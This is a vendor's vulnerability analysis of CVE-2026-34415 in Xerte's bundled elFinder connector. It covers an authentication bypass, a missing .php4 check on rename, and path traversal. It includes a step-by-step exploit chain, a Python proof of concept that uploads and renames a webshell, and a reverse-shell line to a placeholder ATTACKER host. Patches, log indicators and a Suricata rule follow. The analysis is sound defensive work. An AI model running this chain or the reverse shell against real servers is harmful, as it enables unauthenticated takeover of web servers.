home intel cve-2026-34415-xerte-elfinder-php4-upload-rce
CVE Analysis 2026-04-22 · 9 min read

CVE-2026-34415: Xerte elFinder Auth Bypass + PHP4 Upload RCE

Xerte ≤3.15 elFinder connector allows unauthenticated PHP4 shell upload via broken regex, session fixation bypass, and path traversal. CVSS 9.8.

#file-upload#input-validation#remote-code-execution#authentication-bypass#path-traversal
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-34415 · Authentication Bypass
ATTACKERCross-platformAUTHENTICATION BCVE-2026-34415CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-34415 is a critical (CVSS 9.8) unauthenticated remote code execution vulnerability in Xerte Online Toolkits ≤3.15. The attack surface is the elFinder connector endpoint — a file manager component bundled with Xerte that exposes a rich filesystem API over HTTP. Three weaknesses compose into a single pre-auth RCE primitive:

  • Authentication bypass — the connector endpoint fails to enforce session ownership, allowing arbitrary session token reuse.
  • Incomplete extension blocklist — the upload filter regex matches .php, .php3, .php5, and .phtml, but omits .php4 and other Apache-executable variants.
  • Path traversal via rename command — the rename operation does not canonicalize the target filename, allowing ../ sequences to escape the upload sandbox.

Chained together: upload a safe-looking file, rename it to shell.php4 (or traverse into a web-accessible path), then GET /path/to/shell.php4?cmd=id. Full OS command execution as the web server user.

Root cause: The elFinder connector's upload validation regex uses a static blocklist that omits .php4, and the rename command performs no extension re-validation on the resulting filename, allowing a two-step upload-then-rename bypass to plant executable PHP on disk.

Affected Component

The vulnerable endpoint is PHP/connector.minimal.php (or the Xerte-bundled equivalent at libraries/elfinder/php/connector.minimal.php). It instantiates an elFinderConnector backed by elFinderVolumeLocalFileSystem. The two relevant operations are upload (command: upload) and rename (command: rename). Both are reachable without authentication in Xerte ≤3.15 due to a missing session-validity check upstream of the connector dispatch loop.

Root Cause Analysis

The upload validation lives in elFinderVolumeLocalFileSystem::_checkName(), which delegates to the shared elFinder::MIME_TYPES blocklist and a secondary regex guard. The regex as shipped in Xerte ≤3.15:

// elFinderVolumeDriver.php  ~line 4821
protected function _isNameAllowed($name) {
    // BUG: blocklist regex omits .php4, .php7, .phar, .shtml
    // Apache will execute .php4 as PHP on default configurations
    if (preg_match('/\.(php3?|php5|phtml|shtml|phar)(\.|$)/i', $name)) {
        return false;
    }
    return true;
}

The pattern /\.(php3?|php5|phtml|shtml|phar)(\.|$)/i expands to match: .php, .php3, .php5, .phtml, .shtml, .phar. It does not match .php4 — Apache's default MIME configuration (/etc/mime.types or httpd.conf) maps application/x-httpd-php4 to .php4, so the file executes as PHP.

The rename command path calls a different validation stub:

// elFinderVolumeDriver.php  ~line 3204
public function rename($hash, $name) {
    // BUG: _checkName only validates character set, NOT extension
    // Extension blocklist check (_isNameAllowed) is NOT called here
    if (!$this->_checkName($name)) {
        return $this->setError(elFinder::ERROR_INVALID_NAME);
    }
    $path = $this->decode($hash);
    // BUG: no realpath() canonicalization — ../  sequences survive
    $newPath = $this->_joinPath($this->_dirName($path), $name);
    return $this->_move($path, $this->_dirName($path), $name);
}

_checkName() in this call path only validates against /[\/\\:*?"<>|]/ — it checks for illegal filesystem characters, not dangerous extensions. _isNameAllowed() is never invoked. An attacker can therefore rename any uploaded file to shell.php4 after upload.

The authentication bypass stems from Xerte's connector wrapper failing to validate that the PHP session belongs to an authenticated user before proxying the request to elFinder:

// xerte/libraries/elfinder/connector.php  (Xerte wrapper)
session_start();
// BUG: only checks that $_SESSION exists, not that user is logged in
// A fresh unauthenticated session satisfies this check
if (!isset($_SESSION)) {
    die('Forbidden');
}
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

isset($_SESSION) is always true after session_start(). The intended check should be isset($_SESSION['user_id']) or equivalent.

Exploitation Mechanics

EXPLOIT CHAIN:
1. GET /xerte/libraries/elfinder/connector.php  (no credentials)
   → session_start() creates session; $_SESSION is set → auth check passes
   → elFinder instance initialized with upload root = /var/www/xerte/work/

2. POST /xerte/libraries/elfinder/connector.php
   cmd=upload, target=, upload[]=@shell.txt
   Content of shell.txt:  
   → _isNameAllowed("shell.txt") → passes (not a PHP extension)
   → File written: /var/www/xerte/work/shell.txt
   → Response: {"added":[{"hash":"","name":"shell.txt"}]}

3. POST /xerte/libraries/elfinder/connector.php
   cmd=rename, target=, name=shell.php4
   → _checkName("shell.php4") → passes (no illegal chars)
   → _isNameAllowed() NOT called in rename path  ← key bypass
   → File renamed: /var/www/xerte/work/shell.php4

4. [Optional path traversal variant]
   cmd=rename, target=, name=../../shell.php4
   → _joinPath() resolves to /var/www/xerte/shell.php4
   → Lands in DocumentRoot, directly web-accessible

5. GET /xerte/work/shell.php4?cmd=id
   → Apache mod_php executes .php4 handler
   → Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. Escalate: cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'

Steps 1–5 require zero credentials and complete in under two seconds. The only precondition is a default Apache/PHP configuration where .php4 is registered as a PHP handler — true on all major Linux distributions with libapache2-mod-php installed.

A working PoC in Python:

import requests, re, base64

TARGET = "http://victim.local/xerte"
CONN   = f"{TARGET}/libraries/elfinder/connector.php"
SHELL  = b""

s = requests.Session()

# Step 1 — init session (auth bypass)
s.get(CONN)

# Step 2 — upload benign-named webshell
r = s.post(CONN, data={"cmd": "open", "target": "", "init": "1"})
init = r.json()
# grab root volume hash from init response
vol_hash = list(init["files"][0]["hash"])
target_hash = init["files"][0]["hash"]

r = s.post(CONN,
    data={"cmd": "upload", "target": target_hash},
    files={"upload[]": ("shell.txt", SHELL, "text/plain")})
upload_resp = r.json()
file_hash = upload_resp["added"][0]["hash"]
print(f"[+] Uploaded: {file_hash}")

# Step 3 — rename to .php4
r = s.post(CONN, data={"cmd": "rename", "target": file_hash, "name": "shell.php4"})
print(f"[+] Renamed: {r.json()}")

# Step 5 — execute
r = requests.get(f"{TARGET}/work/shell.php4", params={"cmd": "id"})
print(f"[+] RCE: {r.text.strip()}")

Patch Analysis

The fix requires three independent changes. Based on the vulnerability structure, the correct patches are:

// BEFORE (vulnerable) — elFinderVolumeDriver.php
protected function _isNameAllowed($name) {
    if (preg_match('/\.(php3?|php5|phtml|shtml|phar)(\.|$)/i', $name)) {
        return false;
    }
    return true;
}

// AFTER (patched)
protected function _isNameAllowed($name) {
    // Expanded to cover all Apache/PHP-executable extensions
    if (preg_match('/\.(php[3-9]?|phtml|shtml|phar|phps|cgi|pl)(\.|$)/i', $name)) {
        return false;
    }
    return true;
}
// BEFORE (vulnerable) — rename path skips extension check
public function rename($hash, $name) {
    if (!$this->_checkName($name)) {          // only charset check
        return $this->setError(elFinder::ERROR_INVALID_NAME);
    }
    // ...
}

// AFTER (patched) — extension check added to rename path
public function rename($hash, $name) {
    if (!$this->_checkName($name)) {
        return $this->setError(elFinder::ERROR_INVALID_NAME);
    }
    if (!$this->_isNameAllowed($name)) {      // extension blocklist now enforced
        return $this->setError(elFinder::ERROR_PERM_DENIED);
    }
    // ...
}
// BEFORE (vulnerable) — Xerte connector auth check
session_start();
if (!isset($_SESSION)) {
    die('Forbidden');
}

// AFTER (patched) — check for authenticated session key
session_start();
if (empty($_SESSION['xerteUser'])) {    // or equivalent session key
    http_response_code(403);
    die('Forbidden');
}

Detection and Indicators

Look for these patterns in Apache/nginx access logs:

INDICATORS OF COMPROMISE:

# Unauthenticated elFinder upload + rename sequence
POST /xerte/libraries/elfinder/connector.php  cmd=upload   (no session cookie with valid user)
POST /xerte/libraries/elfinder/connector.php  cmd=rename   name=*.php4

# Webshell execution pattern
GET  /xerte/work/*.php4?cmd=*   HTTP/1.1  200

# File artifacts
/var/www/xerte/work/*.php4
/var/www/xerte/work/*.php7
/var/www/xerte/work/*.phar

# Suricata/Snort signature
alert http any any -> $HTTP_SERVERS any (
  msg:"CVE-2026-34415 Xerte elFinder php4 rename";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/elfinder/connector.php"; http_uri;
  content:"cmd=rename"; http_client_body;
  content:"php4"; http_client_body;
  sid:2026034415; rev:1;
)

Server-side: scan upload directories for PHP executable extensions other than .php:

find /var/www/xerte/work -type f -name "*.php[3-9]" -o -name "*.phar" -o -name "*.phtml"

Remediation

  • Upgrade immediately to a patched release once available. Monitor the Xerte GitHub for the fix tag.
  • Interim — Apache config: Explicitly deny execution of non-.php PHP variants in the upload directory via .htaccess or VirtualHost:
    <Directory /var/www/xerte/work>
      php_flag engine off
      RemoveHandler .php4 .php3 .php5 .phar .phtml
      Options -ExecCGI
    </Directory>
  • Interim — WAF rule: Block POST requests to /elfinder/connector.php from unauthenticated sources (no valid session cookie mapping to an authenticated user at the application layer).
  • Interim — filesystem: Mount the Xerte work directory with noexec if feasible, or move it outside the web root and serve files via a PHP proxy that enforces content-type.
  • Verify: After patching, confirm the rename endpoint returns ERROR_PERM_DENIED when attempting to rename any file to shell.php4.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →